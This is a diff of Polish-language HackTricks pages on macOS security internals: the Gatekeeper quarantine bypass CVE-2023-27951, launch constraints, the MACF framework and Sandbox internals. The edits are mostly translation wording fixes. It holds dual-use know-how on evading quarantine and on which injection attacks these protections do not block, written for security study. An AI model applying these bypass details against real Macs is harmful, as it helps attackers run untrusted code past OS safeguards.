@ -387,7 +391,7 @@ Odkryto, że **Google Chrome nie ustawia atrybutu kwarantanny** dla pobranych pl
|
||||
|
||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
|
||||
Formaty plików AppleDouble przechowują atrybuty pliku w osobnym pliku zaczynającym się od `._`, co pomaga w kopiowaniu atrybutów plików **między maszynami macOS**. Jednak zauważono, że po dekompresji pliku AppleDouble, plik zaczynający się od `._` **nie otrzymał atrybutu kwarantanny**.
|
||||
Formaty plików AppleDouble przechowują atrybuty pliku w osobnym pliku zaczynającym się od `._`, co pomaga kopiować atrybuty plików **między maszynami macOS**. Jednak zauważono, że po dekompresji pliku AppleDouble, plik zaczynający się od `._` **nie otrzymał atrybutu kwarantanny**.
|
||||
```bash
|
||||
mkdir test
|
||||
echo a > test/a
|
||||
@ -427,5 +431,8 @@ aa archive -d s/ -o app.aar
|
||||
|
||||
W pakiecie ".app", jeśli atrybut quarantine xattr nie jest do niego dodany, podczas wykonywania **Gatekeeper nie zostanie uruchomiony**.
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -4,20 +4,20 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Ograniczenia uruchamiania w macOS zostały wprowadzone w celu zwiększenia bezpieczeństwa poprzez **regulowanie, jak, kto i skąd proces może być inicjowany**. Wprowadzone w macOS Ventura, zapewniają ramy, które klasyfikują **każdy systemowy plik binarny w odrębne kategorie ograniczeń**, które są zdefiniowane w **cache zaufania**, liście zawierającej pliki binarne systemu i ich odpowiednie hashe. Ograniczenia te obejmują każdy wykonywalny plik binarny w systemie, co wiąże się z zestawem **reguł** określających wymagania dotyczące **uruchamiania konkretnego pliku binarnego**. Reguły obejmują ograniczenia własne, które plik binarny musi spełnić, ograniczenia rodzica, które muszą być spełnione przez jego proces nadrzędny, oraz ograniczenia odpowiedzialne, które muszą być przestrzegane przez inne odpowiednie podmioty.
|
||||
Ograniczenia uruchamiania w macOS zostały wprowadzone w celu zwiększenia bezpieczeństwa poprzez **regulowanie, jak, kto i skąd proces może być inicjowany**. Wprowadzone w macOS Ventura, zapewniają ramy, które klasyfikują **każdy systemowy plik binarny w odrębne kategorie ograniczeń**, które są zdefiniowane w **cache zaufania**, liście zawierającej pliki binarne systemu i ich odpowiednie hashe. Ograniczenia te obejmują każdy wykonywalny plik binarny w systemie, co wiąże się z zestawem **reguł** określających wymagania dotyczące **uruchamiania konkretnego pliku binarnego**. Reguły obejmują ograniczenia własne, które plik binarny musi spełnić, ograniczenia rodzica, które muszą być spełnione przez proces rodzica, oraz ograniczenia odpowiedzialności, które muszą być przestrzegane przez inne odpowiednie podmioty.
|
||||
|
||||
Mechanizm ten rozszerza się na aplikacje firm trzecich poprzez **Ograniczenia Środowiskowe**, począwszy od macOS Sonoma, umożliwiając deweloperom ochronę swoich aplikacji poprzez określenie **zestawu kluczy i wartości dla ograniczeń środowiskowych.**
|
||||
|
||||
Definiujesz **ograniczenia środowiska uruchamiania i biblioteki** w słownikach ograniczeń, które zapisujesz w **plikach listy właściwości `launchd`**, lub w **oddzielnych plikach listy właściwości**, które używasz w podpisywaniu kodu.
|
||||
Definiujesz **ograniczenia środowiska uruchamiania i biblioteki** w słownikach ograniczeń, które zapisujesz w **plikach listy właściwości `launchd`**, lub w **osobnych plikach listy właściwości**, które używasz w podpisywaniu kodu.
|
||||
|
||||
Istnieją 4 typy ograniczeń:
|
||||
|
||||
- **Ograniczenia Własne**: Ograniczenia stosowane do **uruchamianego** pliku binarnego.
|
||||
- **Proces Rodzica**: Ograniczenia stosowane do **rodzica procesu** (na przykład **`launchd`** uruchamiającego usługę XP)
|
||||
- **Ograniczenia Odpowiedzialne**: Ograniczenia stosowane do **procesu wywołującego usługę** w komunikacji XPC
|
||||
- **Ograniczenia Odpowiedzialności**: Ograniczenia stosowane do **procesu wywołującego usługę** w komunikacji XPC
|
||||
- **Ograniczenia ładowania biblioteki**: Użyj ograniczeń ładowania biblioteki, aby selektywnie opisać kod, który może być załadowany
|
||||
|
||||
Gdy proces próbuje uruchomić inny proces — wywołując `execve(_:_:_:)` lub `posix_spawn(_:_:_:_:_:_:)` — system operacyjny sprawdza, czy plik **wykonywalny** **spełnia** swoje **własne ograniczenie własne**. Sprawdza również, czy plik wykonywalny **procesu rodzica** **spełnia** **ograniczenie rodzica** pliku wykonywalnego oraz czy plik wykonywalny **procesu odpowiedzialnego** **spełnia ograniczenie odpowiedzialnego procesu** pliku wykonywalnego. Jeśli którekolwiek z tych ograniczeń uruchamiania nie jest spełnione, system operacyjny nie uruchamia programu.
|
||||
Gdy proces próbuje uruchomić inny proces — wywołując `execve(_:_:_:)` lub `posix_spawn(_:_:_:_:_:_:)` — system operacyjny sprawdza, czy plik **wykonywalny** **spełnia** swoje **własne ograniczenie własne**. Sprawdza również, czy plik wykonywalny **procesu rodzica** **spełnia** **ograniczenie rodzica** pliku wykonywalnego oraz czy plik wykonywalny **procesu odpowiedzialnego** **spełnia ograniczenie procesu odpowiedzialnego** pliku wykonywalnego. Jeśli którekolwiek z tych ograniczeń uruchamiania nie jest spełnione, system operacyjny nie uruchamia programu.
|
||||
|
||||
Jeśli podczas ładowania biblioteki jakakolwiek część **ograniczenia biblioteki nie jest prawdziwa**, twój proces **nie ładuje** biblioteki.
|
||||
|
||||
@ -31,7 +31,7 @@ LC składa się z **faktów** i **operacji logicznych** (i, lub..) łączących
|
||||
- is-sip-protected: Wartość logiczna, która wskazuje, czy plik wykonywalny musi być plikiem chronionym przez System Integrity Protection (SIP).
|
||||
- `on-authorized-authapfs-volume:` Wartość logiczna, która wskazuje, czy system operacyjny załadował plik wykonywalny z autoryzowanej, uwierzytelnionej objętości APFS.
|
||||
- `on-authorized-authapfs-volume`: Wartość logiczna, która wskazuje, czy system operacyjny załadował plik wykonywalny z autoryzowanej, uwierzytelnionej objętości APFS.
|
||||
- ObjVolume Cryptexes
|
||||
- Objętości Cryptexes
|
||||
- `on-system-volume:` Wartość logiczna, która wskazuje, czy system operacyjny załadował plik wykonywalny z aktualnie uruchomionej objętości systemowej.
|
||||
- Wewnątrz /System...
|
||||
- ...
|
||||
@ -81,7 +81,7 @@ A w iOS wygląda to na **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
|
||||
|
||||
Poprzednie pliki pamięci zaufania są w formacie **IMG4** i **IM4P**, przy czym IM4P to sekcja ładunku formatu IMG4.
|
||||
|
||||
Możesz użyć [**pyimg4**](https://github.com/m1stadev/PyIMG4) do wyodrębnienia ładunku baz danych:
|
||||
Możesz użyć [**pyimg4**](https://github.com/m1stadev/PyIMG4), aby wyodrębnić ładunek baz danych:
|
||||
```bash
|
||||
# Installation
|
||||
python3 -m pip install pyimg4
|
||||
@ -141,9 +141,9 @@ Na podstawie tych danych możesz sprawdzić aplikacje z **wartością ogranicze
|
||||
|
||||
Ograniczenia uruchamiania mogłyby złagodzić kilka starych ataków, **zapewniając, że proces nie będzie uruchamiany w nieoczekiwanych warunkach:** Na przykład z nieoczekiwanych lokalizacji lub wywoływany przez nieoczekiwany proces nadrzędny (jeśli tylko launchd powinien go uruchamiać).
|
||||
|
||||
Ponadto, Ograniczenia uruchamiania również **łagodzą ataki degradacyjne.**
|
||||
Ponadto, Ograniczenia uruchamiania również **łagodzą ataki downgrade.**
|
||||
|
||||
Jednakże, **nie łagodzą powszechnych nadużyć XPC**, **wstrzyknięć** kodu **Electron** ani **wstrzyknięć dylib** bez walidacji biblioteki (chyba że znane są identyfikatory zespołów, które mogą ładować biblioteki).
|
||||
Jednakże, **nie łagodzą powszechnych nadużyć XPC**, **wstrzyknięć kodu Electron** ani **wstrzyknięć dylib** bez walidacji biblioteki (chyba że znane są identyfikatory zespołów, które mogą ładować biblioteki).
|
||||
|
||||
### Ochrona demona XPC
|
||||
|
||||
@ -152,11 +152,11 @@ W wydaniu Sonoma, istotnym punktem jest **konfiguracja odpowiedzialności** usł
|
||||
- **Uruchamianie usługi XPC**: Jeśli uznane za błąd, ta konfiguracja nie pozwala na inicjowanie usługi XPC za pomocą kodu atakującego.
|
||||
- **Łączenie z aktywną usługą**: Jeśli usługa XPC już działa (prawdopodobnie aktywowana przez swoją oryginalną aplikację), nie ma przeszkód w łączeniu się z nią.
|
||||
|
||||
Chociaż wdrożenie ograniczeń na usłudze XPC może być korzystne poprzez **zawężenie okna dla potencjalnych ataków**, nie rozwiązuje to głównego problemu. Zapewnienie bezpieczeństwa usługi XPC zasadniczo wymaga **skutecznej walidacji łączącego się klienta**. To pozostaje jedyną metodą na wzmocnienie bezpieczeństwa usługi. Warto również zauważyć, że wspomniana konfiguracja odpowiedzialności jest obecnie operacyjna, co może nie być zgodne z zamierzonym projektem.
|
||||
Chociaż wprowadzenie ograniczeń na usłudze XPC może być korzystne poprzez **zawężenie okna dla potencjalnych ataków**, nie rozwiązuje to głównego problemu. Zapewnienie bezpieczeństwa usługi XPC zasadniczo wymaga **skutecznej walidacji łączącego się klienta**. To pozostaje jedyną metodą na wzmocnienie bezpieczeństwa usługi. Warto również zauważyć, że wspomniana konfiguracja odpowiedzialności jest obecnie operacyjna, co może nie być zgodne z zamierzonym projektem.
|
||||
|
||||
### Ochrona Electron
|
||||
|
||||
Nawet jeśli wymagane jest, aby aplikacja była **otwierana przez LaunchService** (w ograniczeniach rodziców). Można to osiągnąć za pomocą **`open`** (które może ustawiać zmienne środowiskowe) lub korzystając z **API usług uruchamiania** (gdzie można wskazać zmienne środowiskowe).
|
||||
Nawet jeśli wymagane jest, aby aplikacja była **otwierana przez LaunchService** (w ograniczeniach rodziców). Można to osiągnąć za pomocą **`open`** (które może ustawiać zmienne środowiskowe) lub korzystając z **API Launch Services** (gdzie można wskazać zmienne środowiskowe).
|
||||
|
||||
## Odniesienia
|
||||
|
||||
|
@ -69,7 +69,7 @@ void *mpc_data; /** module data */
|
||||
|
||||
Należy zauważyć, że polityki MACF mogą być rejestrowane i deregisterowane również **dynamicznie**.
|
||||
|
||||
Jednym z głównych pól `mac_policy_conf` jest **`mpc_ops`**. To pole określa, które operacje interesują politykę. Należy zauważyć, że jest ich setki, więc możliwe jest ustawienie wszystkich na zero, a następnie wybranie tylko tych, którymi polityka jest zainteresowana. Z [tutaj](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
|
||||
Jednym z głównych pól `mac_policy_conf` jest **`mpc_ops`**. To pole określa, które operacje interesują politykę. Należy zauważyć, że jest ich setki, więc możliwe jest wyzerowanie wszystkich z nich, a następnie wybranie tylko tych, którymi polityka jest zainteresowana. Stąd: [here](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
|
||||
```c
|
||||
struct mac_policy_ops {
|
||||
mpo_audit_check_postselect_t *mpo_audit_check_postselect;
|
||||
@ -82,14 +82,14 @@ mpo_cred_check_label_update_execve_t *mpo_cred_check_label_update_execve;
|
||||
mpo_cred_check_label_update_t *mpo_cred_check_label_update;
|
||||
[...]
|
||||
```
|
||||
Prawie wszystkie haki będą wywoływane przez MACF, gdy jedna z tych operacji zostanie przechwycona. Jednak haki **`mpo_policy_*`** są wyjątkiem, ponieważ `mpo_hook_policy_init()` jest wywołaniem zwrotnym wywoływanym podczas rejestracji (więc po `mac_policy_register()`), a `mpo_hook_policy_initbsd()` jest wywoływane podczas późnej rejestracji, gdy podsystem BSD został poprawnie zainicjowany.
|
||||
Prawie wszystkie hooki będą wywoływane przez MACF, gdy jedna z tych operacji zostanie przechwycona. Jednak hooki **`mpo_policy_*`** są wyjątkiem, ponieważ `mpo_hook_policy_init()` jest wywołaniem zwrotnym wywoływanym podczas rejestracji (więc po `mac_policy_register()`), a `mpo_hook_policy_initbsd()` jest wywoływane podczas późnej rejestracji, gdy podsystem BSD został poprawnie zainicjowany.
|
||||
|
||||
Ponadto hak **`mpo_policy_syscall`** może być rejestrowany przez dowolny kext, aby udostępnić prywatny interfejs wywołań w stylu **ioctl**. Następnie klient użytkownika będzie mógł wywołać `mac_syscall` (#381), określając jako parametry **nazwa polityki** z całkowitą **liczbą** i opcjonalnymi **argumentami**.\
|
||||
Ponadto hook **`mpo_policy_syscall`** może być rejestrowany przez dowolny kext, aby udostępnić prywatny interfejs wywołań w stylu **ioctl**. Następnie klient użytkownika będzie mógł wywołać `mac_syscall` (#381), określając jako parametry **nazwa polityki** z całkowitą **liczbą** i opcjonalnymi **argumentami**.\
|
||||
Na przykład **`Sandbox.kext`** używa tego często.
|
||||
|
||||
Sprawdzając **`__DATA.__const*`** kextu, można zidentyfikować strukturę `mac_policy_ops` używaną podczas rejestracji polityki. Można ją znaleźć, ponieważ wskaźnik znajduje się w przesunięciu wewnątrz `mpo_policy_conf`, a także z powodu liczby wskaźników NULL, które będą w tym obszarze.
|
||||
Sprawdzając **`__DATA.__const*`** kexta, można zidentyfikować strukturę `mac_policy_ops` używaną podczas rejestracji polityki. Można ją znaleźć, ponieważ wskaźnik znajduje się w przesunięciu wewnątrz `mpo_policy_conf`, a także z powodu liczby wskaźników NULL, które będą w tym obszarze.
|
||||
|
||||
Ponadto możliwe jest również uzyskanie listy kextów, które skonfigurowały politykę, poprzez zrzut z pamięci struktury **`_mac_policy_list`**, która jest aktualizowana przy każdej rejestracji polityki.
|
||||
Ponadto możliwe jest również uzyskanie listy kextów, które skonfigurowały politykę, poprzez zrzut z pamięci struktury **`_mac_policy_list`**, która jest aktualizowana przy każdej zarejestrowanej polityce.
|
||||
|
||||
## Inicjalizacja MACF
|
||||
|
||||
@ -160,13 +160,13 @@ error = mac_error_select(__step_err, error); \
|
||||
Który przejdzie przez wszystkie zarejestrowane polityki mac, wywołując ich funkcje i przechowując wynik w zmiennej error, która będzie mogła być nadpisana tylko przez `mac_error_select` za pomocą kodów sukcesu, więc jeśli jakiekolwiek sprawdzenie nie powiedzie się, całe sprawdzenie nie powiedzie się, a akcja nie będzie dozwolona.
|
||||
|
||||
> [!TIP]
|
||||
> Jednak pamiętaj, że nie wszystkie wywołania MACF są używane tylko do odrzucania akcji. Na przykład `mac_priv_grant` wywołuje makro [**MAC_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L274), które przyzna żądane uprawnienie, jeśli jakakolwiek polityka odpowie 0:
|
||||
> Jednak pamiętaj, że nie wszystkie wywołania MACF są używane tylko do odrzucania działań. Na przykład `mac_priv_grant` wywołuje makro [**MAC_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L274), które przyzna żądane uprawnienie, jeśli jakakolwiek polityka odpowie 0:
|
||||
>
|
||||
> ```c
|
||||
> /*
|
||||
> * MAC_GRANT wykonuje wyznaczone sprawdzenie, przechodząc przez listę
|
||||
> * modułów polityki i sprawdzając z każdym, co sądzą o
|
||||
> * żądaniu. W przeciwieństwie do MAC_CHECK, przyznaje, jeśli jakiekolwiek polityki zwracają '0',
|
||||
> * modułów polityki i sprawdzając z każdym, co o tym myśli
|
||||
> * wniosku. W przeciwieństwie do MAC_CHECK, przyznaje, jeśli jakiekolwiek polityki zwracają '0',
|
||||
> * a w przeciwnym razie zwraca EPERM. Zauważ, że zwraca swoją wartość przez
|
||||
> * 'error' w zakresie wywołującego.
|
||||
> */
|
||||
@ -203,13 +203,13 @@ goto skip_syscall;
|
||||
}
|
||||
#endif /* CONFIG_MACF */
|
||||
```
|
||||
Który sprawdzi w wywołującym procesie **bitmask** czy bieżące wywołanie syscalls powinno wywołać `mac_proc_check_syscall_unix`. Dzieje się tak, ponieważ wywołania syscalls są wywoływane tak często, że warto unikać wywoływania `mac_proc_check_syscall_unix` za każdym razem.
|
||||
Który sprawdzi w wywołującym procesie **bitmaskę**, czy bieżące wywołanie systemowe powinno wywołać `mac_proc_check_syscall_unix`. Dzieje się tak, ponieważ wywołania systemowe są wywoływane tak często, że warto unikać wywoływania `mac_proc_check_syscall_unix` za każdym razem.
|
||||
|
||||
Zauważ, że funkcja `proc_set_syscall_filter_mask()`, która ustawia bitmask syscalls w procesie, jest wywoływana przez Sandbox w celu ustawienia masek na procesach w piaskownicy.
|
||||
Zauważ, że funkcja `proc_set_syscall_filter_mask()`, która ustawia bitmaskę wywołań systemowych w procesie, jest wywoływana przez Sandbox w celu ustawienia masek na procesach w piaskownicy.
|
||||
|
||||
## Ekspozycja syscalls MACF
|
||||
## Ekspozycja wywołań systemowych MACF
|
||||
|
||||
Możliwe jest interakcja z MACF za pomocą niektórych syscalls zdefiniowanych w [security/mac.h](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac.h#L151):
|
||||
Możliwe jest interakcja z MACF za pomocą niektórych wywołań systemowych zdefiniowanych w [security/mac.h](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac.h#L151):
|
||||
```c
|
||||
/*
|
||||
* Extended non-POSIX.1e interfaces that offer additional services
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
MacOS Sandbox (początkowo nazywany Seatbelt) **ogranicza aplikacje** działające w sandboxie do **dozwolonych działań określonych w profilu Sandbox**, z którym działa aplikacja. Pomaga to zapewnić, że **aplikacja będzie miała dostęp tylko do oczekiwanych zasobów**.
|
||||
MacOS Sandbox (początkowo nazywany Seatbelt) **ogranicza aplikacje** działające w piaskownicy do **dozwolonych działań określonych w profilu Sandbox**, z którym działa aplikacja. Pomaga to zapewnić, że **aplikacja będzie miała dostęp tylko do oczekiwanych zasobów**.
|
||||
|
||||
Każda aplikacja z **uprawnieniem** **`com.apple.security.app-sandbox`** będzie uruchamiana w sandboxie. **Binarne pliki Apple** są zazwyczaj uruchamiane w Sandboxie, a wszystkie aplikacje z **App Store mają to uprawnienie**. Tak więc kilka aplikacji będzie uruchamianych w sandboxie.
|
||||
Każda aplikacja z **uprawnieniem** **`com.apple.security.app-sandbox`** będzie uruchamiana w piaskownicy. **Binarne pliki Apple** są zazwyczaj uruchamiane w piaskownicy, a wszystkie aplikacje z **App Store mają to uprawnienie**. Tak więc kilka aplikacji będzie uruchamianych w piaskownicy.
|
||||
|
||||
Aby kontrolować, co proces może lub nie może robić, **Sandbox ma haki** w prawie każdej operacji, którą proces może próbować wykonać (w tym większości wywołań systemowych) przy użyciu **MACF**. Jednak w zależności od **uprawnień** aplikacji Sandbox może być bardziej liberalny w stosunku do procesu.
|
||||
Aby kontrolować, co proces może lub nie może robić, **Sandbox ma haki** w prawie każdej operacji, którą proces może próbować wykonać (w tym większości wywołań systemowych) przy użyciu **MACF**. Jednak w zależności od **uprawnień** aplikacji, Sandbox może być bardziej pobłażliwy wobec procesu.
|
||||
|
||||
Niektóre ważne komponenty Sandbox to:
|
||||
|
||||
@ -19,7 +19,7 @@ Niektóre ważne komponenty Sandbox to:
|
||||
|
||||
### Kontenery
|
||||
|
||||
Każda aplikacja działająca w sandboxie będzie miała swój własny kontener w `~/Library/Containers/{CFBundleIdentifier}` :
|
||||
Każda aplikacja działająca w piaskownicy będzie miała swój własny kontener w `~/Library/Containers/{CFBundleIdentifier}` :
|
||||
```bash
|
||||
ls -l ~/Library/Containers
|
||||
total 0
|
||||
@ -56,7 +56,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
||||
> [!CAUTION]
|
||||
> Zauważ, że nawet jeśli symlinki są tam, aby "uciec" z Sandbox i uzyskać dostęp do innych folderów, aplikacja nadal musi **mieć uprawnienia** do ich dostępu. Te uprawnienia znajdują się w **`.plist`** w `RedirectablePaths`.
|
||||
|
||||
**`SandboxProfileData`** to skompilowany profil sandbox CFData zakodowany w B64.
|
||||
**`SandboxProfileData`** to skompilowany profil sandbox CFData zakodowany do B64.
|
||||
```bash
|
||||
# Get container config
|
||||
## You need FDA to access the file, not even just root can read it
|
||||
@ -106,11 +106,11 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
||||
[...]
|
||||
```
|
||||
> [!WARNING]
|
||||
> Wszystko, co zostało utworzone/zmodyfikowane przez aplikację w piaskownicy, otrzyma **atrybut kwarantanny**. To uniemożliwi przestrzeni piaskownicy uruchomienie czegoś za pomocą **`open`**, wywołując Gatekeeper.
|
||||
> Wszystko, co zostało stworzone/zmodyfikowane przez aplikację w piaskownicy, otrzyma **atrybut kwarantanny**. To uniemożliwi przestrzeni piaskownicy uruchomienie czegoś za pomocą **`open`**, wywołując Gatekeeper.
|
||||
|
||||
## Profile Piaskownicy
|
||||
|
||||
Profile piaskownicy to pliki konfiguracyjne, które wskazują, co będzie **dozwolone/zabronione** w tej **piaskownicy**. Używa języka **Sandbox Profile Language (SBPL)**, który wykorzystuje język programowania [**Scheme**](<https://en.wikipedia.org/wiki/Scheme_(programming_language)>).
|
||||
Profile piaskownicy to pliki konfiguracyjne, które wskazują, co będzie **dozwolone/zabronione** w tej **piaskownicy**. Używa **Języka Profilu Piaskownicy (SBPL)**, który wykorzystuje język programowania [**Scheme**](<https://en.wikipedia.org/wiki/Scheme_(programming_language)>).
|
||||
|
||||
Tutaj znajdziesz przykład:
|
||||
```scheme
|
||||
@ -141,11 +141,9 @@ Ważne **usługi systemowe** również działają w swoich własnych niestandard
|
||||
- **`/System/Library/Sandbox/Profiles`**
|
||||
- Inne profile sandboxów można sprawdzić w [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
|
||||
|
||||
Aplikacje z **App Store** używają **profilu** **`/System/Library/Sandbox/Profiles/application.sb`**. Możesz sprawdzić w tym profilu, jak uprawnienia takie jak **`com.apple.security.network.server`** pozwalają procesowi na korzystanie z sieci.
|
||||
Aplikacje z **App Store** używają **profilu** **`/System/Library/Sandbox/Profiles/application.sb`**. Możesz sprawdzić w tym profilu, jak uprawnienia takie jak **`com.apple.security.network.server`** pozwalają procesowi korzystać z sieci.
|
||||
|
||||
Następnie niektóre **usługi demonów Apple** używają różnych profili znajdujących się w `/System/Library/Sandbox/Profiles/*.sb` lub `/usr/share/sandbox/*.sb`. Te sandboxy są stosowane w głównej funkcji wywołującej API `sandbox_init_XXX`.
|
||||
|
||||
**SIP** to profil Sandbox o nazwie platform_profile w `/System/Library/Sandbox/rootless.conf`.
|
||||
SIP to profil Sandbox o nazwie platform_profile w /System/Library/Sandbox/rootless.conf
|
||||
|
||||
### Przykłady profili Sandbox
|
||||
|
||||
@ -243,7 +241,7 @@ W iOS domyślny profil nazywa się **container** i nie mamy tekstowej reprezenta
|
||||
|
||||
### Niestandardowy SBPL w aplikacjach App Store
|
||||
|
||||
Możliwe jest, aby firmy uruchamiały swoje aplikacje **z niestandardowymi profilami Sandbox** (zamiast z domyślnym). Muszą używać uprawnienia **`com.apple.security.temporary-exception.sbpl`**, które musi być autoryzowane przez Apple.
|
||||
Możliwe jest, aby firmy uruchamiały swoje aplikacje **z niestandardowymi profilami Sandbox** (zamiast z domyślnym). Muszą użyć uprawnienia **`com.apple.security.temporary-exception.sbpl`**, które musi być autoryzowane przez Apple.
|
||||
|
||||
Możliwe jest sprawdzenie definicji tego uprawnienia w **`/System/Library/Sandbox/Profiles/application.sb:`**
|
||||
```scheme
|
||||
@ -296,7 +294,7 @@ Należy zauważyć, że rozszerzenia są również bardzo związane z uprawnieni
|
||||
|
||||
[**Zgodnie z tym**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s), funkcje **`sandbox_check`** (to jest `__mac_syscall`), mogą sprawdzić **czy operacja jest dozwolona czy nie** przez sandbox w danym PID, tokenie audytu lub unikalnym ID.
|
||||
|
||||
Narzędzie [**sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c) (znajdź je [skompilowane tutaj](https://newosxbook.com/articles/hitsb.html)) może sprawdzić, czy PID może wykonać określone działania:
|
||||
[**Narzędzie sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c) (znajdź je [skompilowane tutaj](https://newosxbook.com/articles/hitsb.html)) może sprawdzić, czy PID może wykonać określone działania:
|
||||
```bash
|
||||
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
|
||||
sbtool <pid> file /tmp #Check file access
|
||||
@ -307,7 +305,7 @@ sbtool <pid> all
|
||||
|
||||
Możliwe jest również zawieszenie i wznowienie piaskownicy za pomocą funkcji `sandbox_suspend` i `sandbox_unsuspend` z `libsystem_sandbox.dylib`.
|
||||
|
||||
Należy zauważyć, że aby wywołać funkcję zawieszenia, sprawdzane są pewne uprawnienia w celu autoryzacji wywołującego, takie jak:
|
||||
Zauważ, że aby wywołać funkcję zawieszenia, sprawdzane są pewne uprawnienia, aby autoryzować wywołującego do jej wywołania, takie jak:
|
||||
|
||||
- com.apple.private.security.sandbox-manager
|
||||
- com.apple.security.print
|
||||
@ -321,7 +319,7 @@ Wywołanie funkcji `___sandbox_ms` opakowuje `mac_syscall`, wskazując w pierwsz
|
||||
|
||||
- **set_profile (#0)**: Zastosuj skompilowany lub nazwany profil do procesu.
|
||||
- **platform_policy (#1)**: Wymuś kontrole polityki specyficzne dla platformy (różni się między macOS a iOS).
|
||||
- **check_sandbox (#2)**: Wykonaj ręczną kontrolę konkretnej operacji piaskownicy.
|
||||
- **check_sandbox (#2)**: Wykonaj ręczną kontrolę konkretnej operacji w piaskownicy.
|
||||
- **note (#3)**: Dodaje notację do piaskownicy.
|
||||
- **container (#4)**: Dołącz notację do piaskownicy, zazwyczaj w celach debugowania lub identyfikacji.
|
||||
- **extension_issue (#5)**: Generuje nową rozszerzenie dla procesu.
|
||||
@ -350,7 +348,7 @@ Wywołanie funkcji `___sandbox_ms` opakowuje `mac_syscall`, wskazując w pierwsz
|
||||
|
||||
## Sandbox.kext
|
||||
|
||||
Należy zauważyć, że w iOS rozszerzenie jądra zawiera **wbudowane wszystkie profile** wewnątrz segmentu `__TEXT.__const`, aby uniknąć ich modyfikacji. Oto niektóre interesujące funkcje z rozszerzenia jądra:
|
||||
Zauważ, że w iOS rozszerzenie jądra zawiera **wbudowane wszystkie profile** wewnątrz segmentu `__TEXT.__const`, aby uniknąć ich modyfikacji. Oto niektóre interesujące funkcje z rozszerzenia jądra:
|
||||
|
||||
- **`hook_policy_init`**: Hookuje `mpo_policy_init` i jest wywoływana po `mac_policy_register`. Wykonuje większość inicjalizacji piaskownicy. Inicjalizuje również SIP.
|
||||
- **`hook_policy_initbsd`**: Ustawia interfejs sysctl rejestrując `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` i `security.mac.sandbox.debug_mode` (jeśli uruchomione z `PE_i_can_has_debugger`).
|
||||
@ -358,9 +356,9 @@ Należy zauważyć, że w iOS rozszerzenie jądra zawiera **wbudowane wszystkie
|
||||
|
||||
### MACF Hooks
|
||||
|
||||
**`Sandbox.kext`** używa ponad stu hooków za pośrednictwem MACF. Większość hooków sprawdzi tylko niektóre trywialne przypadki, które pozwalają na wykonanie akcji, jeśli nie, wywołają **`cred_sb_evalutate`** z **poświadczeniami** z MACF i numerem odpowiadającym **operacji** do wykonania oraz **buforem** na wyjście.
|
||||
**`Sandbox.kext`** używa więcej niż stu hooków za pośrednictwem MACF. Większość hooków sprawdzi tylko niektóre trywialne przypadki, które pozwalają na wykonanie akcji, jeśli nie, wywołają **`cred_sb_evalutate`** z **poświadczeniami** z MACF i numerem odpowiadającym **operacji** do wykonania oraz **buforem** dla wyjścia.
|
||||
|
||||
Dobrym przykładem jest funkcja **`_mpo_file_check_mmap`**, która hookuje **`mmap`** i która zacznie sprawdzać, czy nowa pamięć będzie zapisywalna (a jeśli nie, pozwoli na wykonanie), następnie sprawdzi, czy jest używana dla wspólnej pamięci dyld, a jeśli tak, pozwoli na wykonanie, a na koniec wywoła **`sb_evaluate_internal`** (lub jeden z jego wrapperów), aby przeprowadzić dalsze kontrole zezwolenia.
|
||||
Dobrym przykładem jest funkcja **`_mpo_file_check_mmap`**, która hookuje **`mmap`** i która zacznie sprawdzać, czy nowa pamięć będzie zapisywalna (a jeśli nie, pozwoli na wykonanie), następnie sprawdzi, czy jest używana dla pamięci podręcznej dyld i jeśli tak, pozwoli na wykonanie, a na koniec wywoła **`sb_evaluate_internal`** (lub jeden z jego wrapperów), aby przeprowadzić dalsze kontrole zezwolenia.
|
||||
|
||||
Ponadto, spośród setek hooków, które używa Sandbox, są 3, które są szczególnie interesujące:
|
||||
|
||||
@ -368,7 +366,7 @@ Ponadto, spośród setek hooków, które używa Sandbox, są 3, które są szcze
|
||||
- `mpo_vnode_check_exec`: Wywoływana, gdy proces ładuje powiązany binarny plik, następnie przeprowadzana jest kontrola profilu oraz kontrola zabraniająca wykonywania SUID/SGID.
|
||||
- `mpo_cred_label_update_execve`: Wywoływana, gdy przypisywana jest etykieta. Jest to najdłuższa, ponieważ jest wywoływana, gdy binarny plik jest w pełni załadowany, ale jeszcze nie został wykonany. Wykona takie działania jak tworzenie obiektu piaskownicy, dołączenie struktury piaskownicy do poświadczeń kauth, usunięcie dostępu do portów mach...
|
||||
|
||||
Należy zauważyć, że **`_cred_sb_evalutate`** jest wrapperem nad **`sb_evaluate_internal`** i ta funkcja pobiera przekazane poświadczenia, a następnie wykonuje ocenę za pomocą funkcji **`eval`**, która zazwyczaj ocenia **profil platformy**, który domyślnie jest stosowany do wszystkich procesów, a następnie **specyficzny profil procesu**. Należy zauważyć, że profil platformy jest jednym z głównych komponentów **SIP** w macOS.
|
||||
